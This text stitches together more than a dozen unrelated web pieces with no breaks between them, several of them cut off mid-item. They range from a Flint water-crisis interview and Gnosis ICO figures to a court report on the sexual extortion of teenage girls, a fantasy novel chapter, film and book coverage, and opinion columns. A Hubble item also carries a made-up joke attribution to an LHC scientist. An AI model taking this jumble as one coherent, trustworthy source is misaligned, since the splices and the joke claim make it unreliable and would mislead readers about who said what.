This is my 20th year. I tell people that when I first came to work at The Flint Journal, we had five people working full-time in our library and now we have about that many trying to cover the news. But I think we’re able to do a good job with it. These types of stories don’t look like much when they begin but as the screw turns a little bit each day, we just have to keep paying attention. Almost everyone on staff has been working on almost nothing but water.
Why do you keep doing what you do?
It is a elementary responsibility of government to be able to be believed and to be able to provide a service as elementary as water. The more we know, the more damning it is on the people who were in a position to do something about this. There are still new revelations coming out and we’re having to extract it piece by piece by piece. I don’t think it’s all been extracted yet.Some data behind the Gnosis Crowdsale
Icofunding Blocked Unblock Follow Following Apr 24, 2017
This article has been written by Adrián Calvo, cofounder of Icofunding.
Today, Gnosis (Consensys) launched his ICO with some polemic due to the model used to calculate the price of the tokens. To learn more about how this model works, take a look at their blog post.
To sum up, with this model and thanks to the hype around this ICO, Gnosis sold the 4.17% of their tokens for 250000 ETH ($12500000) in about 10 minutes.
With a total of 758 transactions, this is how the balance of the wallet contract of the ICO looked during the crowdsale:
Ether sent during the ICO
The biggest transaction was this one with 77777.7 ETH ($3888107). The second one was this one with 38157.0553621044 ETH ($1907471.1975516).
Between these two transactions, they accumulate more than the 46% of the tokens sold during the ICO.
The distribution of tokens looks as follows:
Distribution of tokensLet me set the scene a bit: It's the summer of 1997 and World champion chess player Gary Kasparaov has been beaten in a six game match by two wins to one with three draws. But not by another man. A machine, built by men, has beaten him. IBM's Deep Blue could evaluate up 200 million positions per second, and capable of calculating 11.38 Gigaflops.In honor of that stunning piece of engineering, I set out to make a suit, that, upon wearing it, I would be transformed into the most logical of logic machines ever built, a chess playing computer!All that, using just a great big pile of these dinky things:It is not a perfect replica, by any means; I took many artistic liberties. I was inspired by Deep Blue's portrayal in S2E20 of Futurama, Anthology of Interest. It is rather the stylized idea of Deep Blue, the pop culture impressions of a thinking machine trapped in a big black box.I used almost exclusively surplus parts to make this thing, so it ended up only costing about 30 dollars. Otherwise though, this costume took quite a bit of work, and erm, it was a bit on the more cumbersome side. But whose else has a mainframe costume? Incidentally, it was so cumbersome that It took me about 15 minutes to shove my way from one side of First Avenue to the other, missing the costume contest registration by just a few minutes. Once there I promptly put it in the coat check so I could breathe.The frame of the costume is the remains of several cardboard boxes spliced together with duct tape, and the "thinking" lights on the front are controlled by the innards of about 27 little electronic dice, all wired together in a monstrous chain. Another set of lights scrolls back and forth over the speaker grille sorta like KITT, making the AI presence ever clearer. I added a pair of intake/outtake fans so I could breathe ever so slightly better inside, and finally a voice changing box to speak in a robot voice and say great classic things like, "Pitiful creature of meat and bone," and "How about a nice game of chess.""Not all problems can be solved by chess, Deep Blue. One day, you'll understand that. "- Al GoreBARRIE – A 27-year-old man who played on the sympathies of two teenage girls by pretending he had cancer pleaded guilty Monday to four charges related to sexual assault and child pornography.
Kyle Eeg entered the pleas in Barrie court as the parents of one of the girls watched from the gallery.
Eeg befriended their 16-year-old daughter on Facebook in February 2013, telling her he was from Ireland and had come to Canada to treat his cancer.
The high school student believed Eeg, who used the alias Keeley Jonas, was 19 when they first met online. At one point, the girl met Eeg in person while she was working in a local sandwich shop.
Related Content Fake cancer patient accused of sexual assault
“He told her that he needed a friend,” the mother told The Mirror in a previous interview. “He played on her sympathies so she would feel sorry for him.”
Eeg set up fake Facebook accounts pretending to be someone else and demanded she send nude photos or Eeg would be deported. The girl sent 50 to 100 explicit photos of herself, as well as live video feeds.
The online tormentor, who was actually Eeg, also demanded she have sex with Eeg or he would be reported and deported. In May 2013, the girl met Eeg at a local motel, where she had the first sexual encounter of her life with the man.
She later learned she had contracted the sexually transmitted disease chlamydia, court heard.
Eeg, a tall man with a shaved head, full beard and wire-rim glasses, also convinced the teen to approach a 15-year-old girl for him to have sex with to avoid his deportation.
The girl met with Eeg in some woods near the high school, where she engaged in extorted sexual acts, but ultimately refused his requests for intercourse.This is exactly why we send astronauts to risk their life to service Hubble: in a paper published last week in the Astrophysical Journal, scientists detail the discovery of a new unidentified object in the middle of nowhere. I don't know about you, but when a research paper conclusion says "We suggest that the transient may be one of a new class" I get a chill of oooh-aaahness down my spine. Especially when after a hundred days of observation, it disappeared from the sky with no explanation. Get your tinfoil hats out, because it gets even weirder. The object also appeared out of nowhere. It just wasn't there before. In fact, they don't even know where it is exactly located because it didn't behave like anything they know. Apparently, it can't be closer than 130 light-years but it can be as far as 11 billion light-years away. It's not in any known galaxy either. And they have ruled out a supernova too. It's something that they have never encountered before. In other words: they don't have a single clue about where or what the heck this thing is.
The shape of the light curve is inconsistent with microlensing. In addition to being inconsistent with all known supernova types, is not matched to any spectrum in the Sloan Digital Sky Survey database.
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The only thing the astronomers-working on the Supernova Cosmology Project-can tell is that it appeared all of the sudden in the direction of a cluster with the catchy name of CL 1432.5+3332.8, about 8.2 billion light-years away. Hubble caught a spark that continued to brighten during a 100-day period, peaking at the 21st magnitude, only to fade away in the same period of time. Apparently, a scientist at the LHC declared that the object is similar to the flash that an Imperial Star Destroyer does when reaching Warp 10. Either that or some dust on the Hubble lenses, so someone tell NASA to get some Windex up there too. [Sky and Telescope]New Zealand is not as honest and free of corruption as it likes to believe, according to a new report.
Photo: 123RF
This country along with Denmark were ranked equal first by Transparency International last year as the least corrupt places in which to do |
Davo. “Arcanum and Demonology. He’s got Simole.”
“That’s ridiculous,” said Dizzy, too flustered to say anything else. The look in her eyes suggested she was starting to regret coming on this particular adventure.
“There’s nothing here,” said Fanny emphatically. “I don’t think so, anyway,” he added somewhat less emphatically.
“Okay, let’s try out there.” Nic opened the office door, glad for the change of scenery. The office was small and they were too close together for comfort. The others filed past him into the main floor of the library.
Fanny raised the detector and swung it in a wide arc. Nic rushed forward and grabbed Fanny’s arm, restricting his movements.
“Careful,” said Nic. “Pagoda.” He nodded over his shoulder at the looming shape in the window behind him.
Fanny nodded and made smaller arcs as he walked across the library, the other three behind him.
“The girl must mean a lot to you,” said Dizzy, her effort at nonchalance quite convincing.
“She means a lot to all of us,” said Davo. “That’s how friendship works.” He let his words hang in the air. Nic could tell there would soon be a combustion between them, like between two volatile gasses, but didn’t know what to do about it.
Fanny stopped in the middle of the library and pointed the detector higher. “I’m getting something. Faint. I think we need to go up a floor.”
They marched up the stairs, Fanny leading the way.
“This is going to take all night,” said Dizzy irritably. “And that’s if the room even exists.”
“You can always leave, if you don’t feel up to it,” suggested Davo, affecting a couldn’t care less manner designed to infuriate her further.
“Another floor,” said Fanny, holding the detector over his head. Dizzy stomped past him and headed up the stairs.
“She’s right about one thing,” said Davo. “This could take all night. Are you sure it wouldn’t be better to try something else?”
“Like what?” said Nic.
“Like what Fanny suggested, painful as it is for me to say those words.”
“I heard that,” said Fanny from further up the staircase.
Davo ignored the interruption. “Contact the Secret Service, let them handle it.”
Nic exhaled through his nose, the sound amplified by the closeness of the walls. “I don’t think so. Even if we did manage to track them down, I don’t think they’d be able to do much. They know she can make herself impossible to find if she wants. That’s what Tenner was counting on. And they’re not going to break into the Pagoda on our say so. At best, they’ll wait till tomorrow and talk to Tenner about it, and he’s hardly going to admit to anything. This way, if there is an answer, we can stop Tenner’s plan before he has a chance to get very far into it.”
“No offence, Nic, but it sounds a bit like you’re reaching beyond your grasp.”
“Yes. I am, I guess. But I’ll know for sure once we get inside the room. I shouldn’t take too long to find out if there’s a book in there that can help. And if not...” He didn’t finish because he didn’t know.
“What about Mistress Delcroix? Couldn’t her father help?”
Nic smiled and exhaled another noisy breath. “Perhaps, but there’s no way she’d ask him for help. Ever.”
“You realise,” said Davo, “as soon as we leave here, she’s probably going to report us in exchange for a gold star or whatever they hand out to reward good behaviour.”
“She wouldn’t do that,” said Nic, utterly shocked by the idea.
“No, of course not. Because you ate berries under a bush once.”
“It wasn’t just that,” said Nic, a moment of fond recollection crossing his face. “I got stuck under a wicked bramble for reasons that are too… complicated to go into, and she thought it was hilarious. I couldn’t move without gouging myself, it was horrible. I was covered in bloody scratches and unable to go forward or backwards. She could have gone for help, or cut the thing down herself, but she didn’t. She crawled in there beside me, just so I wouldn’t be alone.”
“That,” said Davo, “is the stupidest thing I’ve ever heard.”
“Yes,” Nic agreed. “It is.”
They reached the next floor. Fanny had the detector pointed at the ceiling. “Up there. Next floor.”
There were no more stairs.
“I’ve told him,” said Dizzy, “you can’t go any higher.”
“Maybe on the roof?” said Nic.
“This is as high as it goes,” said Dizzy, “unless you think the books you’re looking for are on the roof, out in the open.”
Fanny’s face reddened in the candlelight. “There could be a—”
“No,” said Dizzy, cutting him off. “You can see the library roof from the top of the School Pavilion. It’s flat and empty.”
“Just because you haven’t seen something, doesn’t mean it’s not there,” said Nic.
“I’ve been here five years, I think I would have noticed a secret bunker on top of a completely flat roof.”
“Are you really Ransom’s smartest pupil?” said Davo. “It’s not a hard concept to grasp. If you see it, that means it exists. If you don’t see it, that doesn’t mean it doesn’t exist. You have to be willing to investigate further.”
Nic could tell Davo was desperately hoping there was a secret room just to prove his point, and that Dizzy was desperately hoping the opposite. It almost made him smile.
Fanny walked around with the detector held high as possible. He went back and forth, slowly closing in on an area in the far corner. “Here.”
Nic slid the hood off the candle so the light illuminated the room more fully. He knew there was a danger they would be noticed from outside, but there was little choice. They all looked up at the whitewashed ceiling.
“Can you see that hole?” said Davo. They all strained.
“Isn’t it a speck of dust or something?” asked Fanny.
“I don’t think the librarian allows them,” said Davo.
“I see it,” said Nic. “It’s a hole. A really small hole. It could be a keyhole.” He looked around at the others. “A really small keyhole.”
Davo and Fanny didn’t look convinced but Dizzy said, “Wait here,” and ran down the stairs.
They waited, as instructed, shrugging at each other. A few moments later she came running back carrying a stick. It was very thin and about the length of her arm.
“I told you, I’ve been here five years. I notice things.” She flicked the stick and it extended to twice its length. “I always wondered what this was for.” She flicked it again and it grew by another third. It was long enough to reach the hole in the ceiling and the pointed tip appeared to be the right size to fit.
Everyone stepped aside as Dizzy went to the far wall and raised her arm over her shoulder, prodding the stick at the hole. After three failed attempts, it slotted into the hole and there was a click. A square outline appeared, emitting faint light and a flap dropped, making them all rush back in case something fell on their heads. There was a metallic whoosh as a ladder slid down. The bottom rung stopped just before it hit the floor.
Fanny pointed the detector at the much larger hole in the ceiling which now showed the night sky, and nodded. They stood there looking at each other and then Nic and Dizzy stepped forward at the same time, almost bumping into each other.
“Ladies first,” said Davo drily.
“But I have the light,” said Nic, holding up the lamp with the hood drawn over it again. Dizzy handed him the stick and took the lamp from him. She went up first.
Nic dropped the stick and hurried after her, careful to not let his fingers get trodden.
He came up into a small room with glass walls. It was a dome that covered the middle part of the roof and was empty apart from a little table. Nic looked at the tabletop, inlaid with curling patterns of ivory and silver, and at the two books resting on it. One was the autobiography of Winnum Roke, the other was the book of myths and legends written by her alter ego, Wink Monroe. There were no other books in sight.
Fanny and Davo emerged and looked around in wonder. They were under the open sky, but no wind or chill touched them.
Dizzy had a hand pressed against the glass wall, peering through it like she wasn’t sure it was there.
Nic opened the book on fairy tales.
“These are the only two books?” asked Davo.
“Yes,” said Dizzy. “Unless there’s another secret room even more secret than this one.”
“Do you think you could restrain the sneering for a moment?” said Davo, barely restraining his own. “We have to think what to do next.”
“I’m not sneering. But there doesn’t seem to be very much special about those two books, does there?”
Davo didn’t say anything, most likely, Nic guessed, because he agreed.
“I don’t know about the autobiography,” continued Dizzy, “but I have a copy of the other one at my house.”
“They’re both by Winnum Roke, aren’t they?” said Fanny. “That must mean something. Maybe she is still alive. Maybe she’s the person we have to find and the clues are in these two books.”
“You think she’s alive after a thousand years?” said Dizzy contemptuously. “Are you an idiot?”
Davo still didn’t say anything. Most likely, Nic guessed, because he agreed with her on this point also.
“There’s no record of her dying,” said Fanny. “Look in her autobiography.”
Dizzy pulled a face of utter disdain. “It’s an autobiography. That means she wrote it herself. How could she write about her own death?”
“Magic,” said Fanny defiantly, which was a reasonable point.
“Wait,” said Nic. “This book, this is handwritten and drawn.” He had the Tales of Myth and Legend in his hands. It had a very different feel to any version of the book he’d held before. He thrust it at Fanny. “Does it register Arcanum?”
Fanny pointed the detector at it and instantly reared back, wincing. He yanked the wire from his ear. “Yeah. Big time.”
Nic flicked through the pages. It didn’t seem like an otherworldly tome. No crackles of magic between page flips, no tingle of eldritch forces at play.
“What does it do?” he wondered out loud.
“I think that’s for you to find out,” said a soft voice from behind them.
They all turned, startled and huddling together despite their differences, to find the librarian standing there, tall and unwavering, her glasses hanging on a chain around her neck.
“You weren’t there a moment ago,” said Davo, a finger pointing accusingly, his other hand over his wildly beating heart.
“I was always here,” said the librarian. She took a step to the side and disappeared.
Nic and the others moved closer and around to the side. The librarian was sitting on a stool in an alcove. “In a country built on magic, a simple trick with mirrors.” She stood and waved her hand around. “All this is hidden in plain sight.”
“Are there more books here?” asked Nic. “Hidden in plain sight?”
“No. Just those two.”
“Are you Winnum Roke?” blurted out Fanny.
The librarian’s normally impassive features downturned into a momentary frown. “Exactly how old do you think I am?”
“Don’t answer,” Davo muttered from the side of his mouth. “It’s a trick question.”
“No, I’m not Winnum Roke.” The librarian reasserted her stone-like composure. “Although I often wished I was when I was younger; as do most girls who are aware of what she accomplished, wouldn’t you say, Miss Delcroix?”
Dizzy scowled. “I prefer to be myself.”
“Of course. Well, those of us not quite so gifted see Winnum Roke as something of a role model. She was a great woman.”
“Is she dead?” asked Nic.
“I think so. No one really knows. The mages from back then were transmuters and summoners of accomplishment, routinely modifying their own forms, and commanding the denizens of the Other Place. It’s hard to know what she was capable of. But she left these books—no others, just these two—for when they’d be needed. She didn’t explain how or by whom. Each Ransom librarian has taken on the role of watching over them until the time was right. That time would appear to be now.”
“Couldn’t you just have told us all this and shown us the books yourself?” said Davo. “Instead of making us go through all this?”
“I didn’t know how closely they were watching you. I waited here to see if you’d be followed. It appears they don’t consider you a very great threat.”
“Who doesn’t?” said Dizzy, sounding as exasperated as Davo. “Who are ‘they’.”
The librarian shrugged and there was a glimmer of a smile across her lips. “Do you know the true history of Ranvar? Our lands are small but rich in mines and minerals. There has always been war here and in the wreckage of each aftermath, all control was temporary, all authority fleeting. Until, that is, Arcanum was learned and peace and prosperity were established. Archmage Roke warned against too much reliance on magic. One day the owners of the power the mages wield so freely will return to reclaim what was theirs, but… it’s hard to heed a warning when you don’t know if it is due in a year or ten thousand. Especially when the benefits are so vast.”
“What do the books do?” Nic held up the Tales of Myth and Legend. “This one’s giving off Arcanum, but there aren’t any spells in here, are there?”
“No,” said the librarian. “Many have tried to decrypt the meaning in those stories, but it has never seemed more than simple tales for children. Perhaps you can find something others have missed.”
“But we don’t have time,” said Nic, growing ever more so frustrated. He had risked everything on finding an answer here, but this wasn’t the answer he’d been looking for. He didn’t want more puzzles. He didn’t want history lessons. He wanted a solution, a way to stop Tenner.
“I’m sorry,” said the librarian. “This is all there is.”
Nic looked at the book cover. There was an outline of an animal that most people thought was a wolf or some demonic beast, but which he knew to be a harmless pet dog.
Were there really answers in here? Could he find them before it was too late?
Fanny suddenly leapt in the air, his body twisting and spasming like he’d been blasted by an unseen force. He recovered almost instantly and peered around guiltily. The others looked at him with questioning eyes.
“Sorry,” said Fanny with an embarrassed frown. “I accidentally pointed the detector at the Pagoda. Thought it might blow up again.”
The top of the Pagoda was peeking down at them from across the way.
“Is it broken?” asked Davo.
Fanny’s eyes darted around the box, looking for signs of damage. “No. Actually, it isn’t.” He put the wire back in his ear and pointed it at the book in Nic’s hands. “Working fine. Close call.”
Nic walked over to him and grabbed the box from his hand. He pointed it directly at the Pagoda.
Fanny threw his hands up and pulled the wire from his ear, both eyes squeezed shut and braced for a sonic punch. One eye re-opened and he reinserted the wire. “Nothing.”
Nic turned to the librarian. “Do these walls block Arcanum?”
“No,” said the librarian.
There was a loud bang, followed by a series of sharp cracks as sparks flew from the Pagoda’s eaves, lighting it up from top to bottom. Lightning raced up its shaft and smoke wafted up in a large bloom.
Nic threw the box at Fanny, turned and ran. He jumped down the ladder, his hands burning as they slid along the sides. He sprinted and jumped down the stairs, through the back office and out into the night air. The chill hit him like a slap but he ignored it. He ran all the way to the Pagoda, stumbling a little in his haste.
The large seamless door was open. Davo and Dizzy caught up to him as he pushed the heavy door wider. It had opened effortlessly last time he was here, but now it was leaden. He entered the gloomy interior. He didn’t bother to wait for a guide, he doubted one would come. He knew where the stairs were.
He raced down them, the lit sconces guttering in and out of life. He came to a familiar antechamber and opened the door to the next room. There was the chair the old man had been in. Only there wasn’t an old man there now, there was a young woman, sitting limp, head fallen forward.
Nic lifted Simole’s head. Her eyes were open but lifeless.
He listened for a heartbeat, felt for a pulse, but found neither. There was no breath from her mouth. Her skin had an ashen pallor and she was cold to the touch.I didn't really have a good title for this image but this is another sneak peek from inside Myre - Chronicles of Yria 1 which you can purchase in my shop:Thank you all so much for your great support and patience! The past week has been a rollercoaster of ups and downs regarding organising and managing everything revolving around Indiegogo perks and the new orders. I came to face with unexpected new shipping regulations and other tasks that took a lot of time and effort to research. I had to deal with many address changes through the Indiegogo listing system. That also required a lot of manual work from my side. I'm so happy to have kebi who is doing a lot of organising of the lists as well. Due to tireless teamwork and the great support of my friends, I managed to come really close to getting the books shipped.Two aspects of it all caused a big delay because the print service responsible for the collectible cards screwed up and then declined my efforts to get a refund. I'm still waiting on the collectible cards too. The company responsible for the book wrappers accidentally sent me the wrong format and addresses are still constantly being changed even though all labels have been made. But I'm always behind everything so that nothing goes wrong or gets entirely screwed up on my side. I never had to deal with something like this before and I'm learning a good deal from it. This is not a rant or letting off steam. I merely want to explain a little bit about the organisational aspects behind the scenes as I can understand that some might feel their patience is going away. All shop orders are still expected to be shipped by March 12th. Indiegogo supporters will receive their shipping a lot earlier. If the extra missing items were here by now, shipping would even begin by tomorrow. I really, dearly wish I could do that! Hence I'm really thankful for your patience.Knowing a little about the 'behind the scenes', I don't want you to worry. All I want is for you to enjoy and be happy! That is my driving force here!It's only a small step from here to holding your book in your hands!I really thank you for understanding, your trust and support!More updates will follow soon!<3Oh! And another thing! I'm really sorry about the glitch in the shop where you enter your shipping information. When you type in a name, the font seems to disappear. But it's all there if you have entered your information. To make sure that everything is in order, simply hover over the sections where you entered your name, address ect. I'm really sorry for this embarrassing glitch! I couldn't fix it yet. >__< 'Facebook Lite is a new streamlined version designed for people with slow internet connections. There's no chat and no applications. It's designed to give users quick access to their News Feed, inbox and events. Oddly though, it still includes a "post video" button -- who would do that on such a slow connection? I often can't do that with broadband.
Brands with Facebook Pages get short-changed here. You can't find Pages in the search results on Lite, even if you're already a fan; only people show up. There are no engagement ads -- just minimalist self-service ads with text, thumbnails, and a link. Updates from Pages don't appear in your Lite inbox. Branded Pages' status updates still appear in the News Feed, and you can click that to go to the Page, but there's just the stripped down Wall rather than all the tabs (there's still a link to the Page's photos and videos). It's yet another reminder for Page owners that to stay top of mind with consumers, it's important to post updates regularly. Developing an editorial calendar can help achieve that goal.
Facebook Lite could be bad news for brands if consumers adopt it en masse, but that's not likely for two reasons. First, the percentage of home internet users with broadband access is reportedly well over 90%. The sound of modems dialing up is quickly being relegated to those "when I was a kid..." stories, like the one my dad tells about walking to school 20 miles in the snow being chased by German shepherds. Stories of 1,200 baud modems sound even less believable.
Second, most Facebook users who try Lite will wind up missing some of the full functionality, whether it's instant messaging or applications or the easier way links appear when including them in status updates. There will be people out there like Mashable's Stan Schroeder who talk about how they prefer Lite, but I'll wager he's well in the minority, and even most of the Stans out there will wind up defaulting to the original. Even some dial-up users will probably choose the original rather than give up features like IM.
Brands should keep an eye on this though. One way is to check Quantcast's Lite traffic report (non-existent so far) and other sources to see if it gains momentum. The safer bet is that it will keep a small percentage of consumers loyal and addicted to Facebook without changing the habits of anyone else.The biggest success story at this year’s Sundance Film Festival — or any festival in history, if we’re talking about the acquisition price — was certainly Nate Parker‘s writing-directing debut The Birth of a Nation. Picked up by Fox Searchlight for a record $17.5 million, the Sundance Grand Jury Prize and Audience Award winner tells the true story of Nat Turner’s slave rebellion. We’ve still got half-a-year to go before it arrives in theaters, but today Fox Searchlight has released the first trailer.
I said in my review, “Directed, written, produced by, and starring Nate Parker, the Nat Turner biopic The Birth of a Nation is an unflinching and hopeful call to action where the helmer’s passion can be felt in every frame. By nodding to D. W. Griffith’s controversial, formally groundbreaking 1915 film, Parker is forging a new cinematic history for one of America’s most shameful eras. What’s lacking in aesthetic cohesion, pacing, and subtlety is made up for in a powerful lead performance and an essential story with compelling religious undercurrents.”
Starring Nate Parker, Armie Hammer, Penelope Ann Miller, Jackie Earle Haley, Mark Boone Jr., Colman Domingo, Aunjanue Ellis, Dwight Henry, Aja Naomi King, Esther Scott, Roger Guenveur Smith, and Gabrielle Union, check out the trailer below.
Set against the antebellum South, THE BIRTH OF A NATION follows Nat Turner (Nate Parker), a literate slave and preacher, whose financially strained owner, Samuel Turner (Armie Hammer), accepts an offer to use Nat’s preaching to subdue unruly slaves. As he witnesses countless atrocities – against himself and his fellow slaves – Nat orchestrates an uprising in the hopes of leading his people to freedom.
The Birth of a Nation opens on October 7th.Taipei, Sept. 20 (CNA) Customs officials at Taiwan Taoyuan International Airport stopped an Indian couple from entering the country on counterfeit passports late Tuesday.
The Border Affairs Corps released a statement Wednesday reporting that the couple were found in possession of fake Singapore passports and Canadian electronic travel authorization (eTA) documents.
Customs officials found the two loitering after they deplaned and approached them to ask if they required assistance.
The couple at first reportedly claimed to be newlyweds coming to Taiwan for their honeymoon, so the customs officials guided them to where they could go through the proper arrival procedures.
Upon inspection of their documents, however, the officials found that their Singapore passports were fake, at which point the couple presented their real Indian passports.
The man disclosed that his wife wanted to move to Canada to start a new life after they got married, but the application for a Canadian visa in India is time-consuming and has a low chance of approval, according to the Border Affairs Corps.
The couple therefore bought two Singapore passports, identification cards, driver's license, and eTAs from a smuggler they were introduced to through a friend for the equivalent of NT$1.2 million (US$39,865).
They had reportedly gone in and out of several Southeast Asian countries with the counterfeit passports without being detected until their attempt to enter Taiwan.
The Border Affairs Corps arranged for the couple to be returned to their last point of exit.
(By Wu Jui-chi and Kuan-lin Liu)
Enditem/JScience can move at a startling pace. In 2003, biologists from the Human Genome Project announced that they had learned how to read an entire human genome. A few days ago, they revealed that they now want to press ahead to try to write one. In other words, researchers have reached the stage where they want to build the genetic instructions that form the blueprint for living cells. The idea, outlined in Science last week, is exciting, audacious and also controversial.
So why put forward such a plan? Why court controversy with such a seemingly outlandish proposal? In fact, the idea goes back to the results of the original Human Genome Project that are now providing greater understanding of the causes of cancer, heart disease and schizophrenia while also shedding light on human evolution.
This information has certainly catalysed genetics, but we can only learn so much from simply reading our genetic code. For a start, there is the puzzling fact that only about 2% of the sequences that make up our genes actually direct the production of proteins. This leaves nearly 98% of the human genome apparently unaccounted for. To understand more fully how a genome works we therefore need to build one to try to elucidate the role of this 98% “junk DNA”. In the process, we will learn the importance of how genes and genomes are ordered and regulated and how this changes in disease states.
The proposed project, provisionally called Human Genome Project – Write (HGP-write), is led by Professor Jef Boeke, of New York University, and Professor George Church, of Harvard. Both are distinguished scientists, which is just as well, because their proposal faces a number of problems. For a start, there is the cost of making the DNA base pairs that are strung together to form a gene and which they need to create their artificial genomes.
In 2001, DNA cost about $12 to manufacture per base pair. That cost has dropped to three cents. It sounds promising. However, the human genome contains about 3 billion base pairs so a drop of a further thousand-fold in costs will have to be achieved in the next 10 years to make the project achievable. At the same time, an ethical framework for genome-scale engineering, as well as for transformative medical applications, will have to be established.
These are major hurdles, though clearing them will give us unprecedented insights into new mechanisms of human biology and disease that could form the basis for new therapies and disease interventions. But is the project actually practical? This is a very different question. Genomes have already been synthesised. In 2010, Craig Venter and colleagues at the J Craig Venter Institute synthesised a simple bacterial genome, while in Britain, Tom Ellis’s lab at Imperial College London and Patrick Cai’s lab at the University of Edinburgh are collaborating with an international consortium known as Synthetic Yeast 2.0. It is working towards the synthesis of the 12 million base pairs that make up all 16 chromosomes of baker’s yeast and expects to complete the work by 2018.
But human chromosomes are huge in comparison. The largest human chromosome is made up of 249 million base pairs and would need an enormous amount of highly expensive DNA for its creation. At present, estimates suggest it would cost around $100m (£69m) to create a human genome. And that is just the cost of making the DNA. The technology to handle these long and fragile lengths of DNA and place them into mammalian cells where they can be grown and studied does not exist at present. However, these are just the sorts of technologies the project’s researchers believe they could develop.
But is the project ethical? Is this another route to the creation of designer babies? This project has certainly been billed as controversial – but is that fair? Medical researchers already replace sections of human DNA in cell lines, which are grown in laboratories, to investigate how specific human genes work and to establish what happens when they go wrong. There are very tight regulations concerning such research. We should also note that the HGP-write project is explicit about only developing cell lines and not altering ova or embryos.
In short, this is not a sinister route to the creation or cloning of babies by stealth. In fact, its proponents are adamant that they want this project to be carried out with public involvement. Common goals for both the public and for the scientist would be identified from the start as part of an open debate. If we can do that, we can then determine how best to move the science of genetics into the latter half of the 21st century.
Susan Rosser is professor of synthetic biology at the University of EdinburghO Britain! O Albion! Why must misfortune dog you at every turn? There really is no more unfathomable question of the age, with the possible exception of wondering why John Travolta attracts so many lawsuits from disgruntled masseurs. The most recent years have visited all manner of calamities upon the populace of this septic isle, from the banks, to the politicians' expenses, to the phone hacking, to the banks (and possibly the politicians) again. Trailing in the wake of these disasters come the postmortems, the inquiries judicial and parliamentary, and the anger that never fails to spill over into mindless apathy.
Yet there is a nagging sense that the official reports never really get to the absolute bottom of things, perhaps afraid of what they may find down there. Even in your most lunatic fantasies, can you imagine any sort of inquiry into one of our recent shaftings concluding something along the following lines? "What must be admitted – very painfully – is that this was a disaster 'Made in Britain'. Its fundamental causes are to be found in the ingrained conventions of British culture: the worship of money by successive governments; our essential beatenness; our devotion to just bleeding tolerating it."
I suspect you can't. No, without wishing to pre-empt the conclusions of questers from Lord Justice Leveson to the Treasury committee to the people sighing "why are our overlords such arses?" into their pints, I can't see it happening. But something equivalent has occurred in Japan this week, where an eye-poppingly unsparing report into the Fukushima nuclear disaster has apportioned a significant share of blame to the Japanese national character itself. "What must be admitted – very painfully – is that this was a disaster 'Made in Japan'," runs the devastating verdict of expert Japanese investigators.
"Its fundamental causes are to be found in the ingrained conventions of Japanese culture: our reflexive obedience; our reluctance to question authority; our devotion to sticking with the programme."
Well. Did you ever hear the like? Certainly you never did in this country. In fairness, you used not to hear the like in Japan. I'm sure none of us wishes to get bogged down in too many cliches of national character – although the Japanese did start it – but the nation gained something of a reputation for denial with that deathless line in the emperor's second world war surrender broadcast. You may recall his imperial majesty would only concede "the war situation has developed not necessarily to Japan's advantage". Elsewhere, Kyoto's temple circuit features a huge and beautiful shrine to soldiers "who gave their lives fighting for a peaceful Japan" in that same conflict, which some may feel vaguely misrepresents certain questionably defensive manoeuvres in, say, Hawaii.
But just look at their candour now. Perhaps this is where 20 years of economic stagnation gets you – in which case we might expect British self-reproach to kick in some time in the late 2020s. Until then, the form book suggests that we will continue to avoid considering the possibility that we get the press and the politicians – and by extension of the latter, the bankers – that we deserve.
Hundreds of MPs who gamed the expenses system have already been re-elected once, and many of them will be again in 2015. Leveson's conclusions will doubtless make no mention of the millions who devoured fairly unjustifiable stories about people's private lives, and to whose likely provenance they may have exhibited their own version of wilful blindness – and anyway, most of those who read the News of the World now gladly buy the Sunday edition of the Sun. I fear no significant number of customers will move their money to ethical banks. We may do sound and fury rather better than the Japanese, but the tale of the tape suggests we stick just as reliably to the programme.
For all the systemic malfunctions of our institutions in the past few years, alas, the prevalent assumption seems to be that the structure of British society couldn't possibly be refashioned. And it certainly can't be unless reproach of those in authority, which we have down to a fine-ish art, is realistically widened to reproach of those who continue to put them there. Which is to say, most of us, one way or another. Britain appears many years off the collective realisation that at some level, it allows these things to keep happening to it via its apathetic failure to revolt sufficiently when they do.
Reading the reports of the Fukushima investigation, you realise it is quite something to watch a nation critique that which it perceives to be its character. Dominique Strauss-Kahn's arrest provoked a bout of cultural introspection in a France that traditionally prided itself on ignoring politicians' sexual foibles. The cases of imprisoned girls Natascha Kampusch and Elisabeth Fritzl provoked anguished examination of Austria's ask-no-questions society. Even this nation embarked on a brief and misguided attempt to explain the inexplicably hideous James Bulger murder in terms of moral decay.
Yet in most countries, away from emotive, physically repulsive criminal horrors, the introspection stops. It certainly has in Britain, which doesn't so much rage against the machine as get tetchy at it before losing interest until the next time.
Twitter: @MarinaHydeWriting in an invented language based on Old English, Paul Kingsnorth has pulled off a vivid portrayal of a chaotic England following the Norman invasion
Published through the crowd-funding publisher Unbound, Paul Kingsnorth’s extraordinary novel set in 11th-century England has been a huge success – longlisted for the Man Booker, winner of the Gordon Burn prize, it’s now being made into a film. Little wonder, for it is a vivid, linguistically innovative chronicle of the aftermath of the 1066 Battle of Hastings and the early days of the Norman occupation.
Our narrator is Buccmaster, a free farmer of the Lincolnshire fens, who has lost everything he most loved including his wife and home to the invading Normans and his sons at the Battle of Hastings. Frightened and angry, he gathers a band of “grene men” to resist the invaders. It is also a passionate paean to a threatened natural world.
England’s uncertain future Read more
But it’s the strange, beguiling language of this novel that makes it so distinctive; in a “note on language” Kingsnorth describes the “shadow tongue” he has invented, partly based on Old English: “a pseudo-language intended to convey the feeling of the old language by combining some of its vocabulary and syntax with the English we speak today”. It demands patience to decipher and varies between opacity and moments of intense lucidity as in Buccmaster’s lament for “a world brocen apart”, a time when “all is open lic a wound unhealen”.
Some of the finest passages rise to a lush lyricism when conjuring a land awakening from winter: “it is early in the mergen it is gan eostur now when the land waecens from winter all the land is cuman open all is grene and waecnan”.
That “waecnan” is not only in the land, but in language too: The Wake reawakens our awareness of the power of words, as it explores the connection between language and identity, prose and place. Set in a period of history that pre-dates typographic printing in Europe by almost 400 years, the novel uses “one of the earliest and finest roman printing types”, a note about the typeface explains. In that striking typeface Kingsnorth not only depicts the aftermath of the Battle of Hastings but also the most subtle linguistic, emotional, and psychological battles.
The Wake by Paul Kingsnorth (Unbound, £8.99). To order a copy for £6.99, go to bookshop.theguardian.com or call 0330 333 6846. Free UK p&p over £10, online orders only. Phone orders min. p&p of £1.99.Media playback is unsupported on your device Media caption Mohammed Fahmy and Baher Mohamed spoke of their happiness at being released
